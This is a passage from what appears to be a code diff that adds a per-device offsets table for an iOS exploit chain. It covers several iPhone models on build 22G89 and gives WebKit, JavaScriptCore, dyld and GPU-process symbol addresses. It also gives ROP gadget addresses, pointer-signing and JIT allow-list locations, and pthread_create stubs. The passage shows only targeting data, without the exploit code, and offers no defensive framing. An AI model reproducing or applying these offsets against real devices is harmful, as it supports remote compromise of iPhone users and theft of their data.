0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257883e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2716f4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone14,7_22G89": { + __pthread_head : 0x269494020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f65a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5438n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7042c8n, + free_slabs : 0x1ed7bda50n, + gadget_control_1_ios184 : 0x23ed292ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6938n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cacb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc15870n, + libsystem_c__atexit_mutex : 0x1ed6e2ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2140n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b54000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876ee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883cb8n, + WebCore__initPKContact_value : 0x1ed883cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8780c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,8_22G89": { + __pthread_head : 0x269494020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f65a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5438n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7042c8n, + free_slabs : 0x1ed7bda50n, + gadget_control_1_ios184 : 0x23ed292ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6c70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6938n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cacb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc15870n, + libsystem_c__atexit_mutex : 0x1ed6e2ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e2140n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25791fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b54000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876ee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883cb8n, + WebCore__initPKContact_value : 0x1ed883cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87b178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed882470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8780c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone15,2_22G89": { + __pthread_head : 0x26a214020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9578n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708408n, + free_slabs : 0x1ed7c1b90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f035150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff1ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dadb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7daa60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7daa68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7daa70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7daa78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x214001820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d040000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6280n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257adee60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d046988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272904000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed887df8n, + WebCore__initPKContact_value : 0x1ed887e00n, + WebCore__PAL_getPKContactClass : 0x1ed87f2b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8865d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8865c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8865b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c200n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone15,3_22G89": { + __pthread_head : 0x26a214020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9578n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99b70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708408n, + free_slabs : 0x1ed7c1b90n, + gadget_control_1_ios184 : 0x23ed712ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f035150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff1ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dadb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7daa60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7daa68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7daa70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7daa78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x214001820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb138b4n, + libGPUCompilerImplLazy_cstring : 0x23bc5d870n, + libsystem_c__atexit_mutex : 0x1ed6e7018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d040000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6280n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257adee60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d046988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272904000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed887df8n, + WebCore__initPKContact_value : 0x1ed887e00n, + WebCore__PAL_getPKContactClass : 0x1ed87f2b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8865d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8865c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8865b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed87c200n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone15,4_22G89": { + __pthread_head : 0x26983c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f68e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f63d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f6330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f6380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5778n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704608n, + free_slabs : 0x1ed7bdd90n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f031150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + 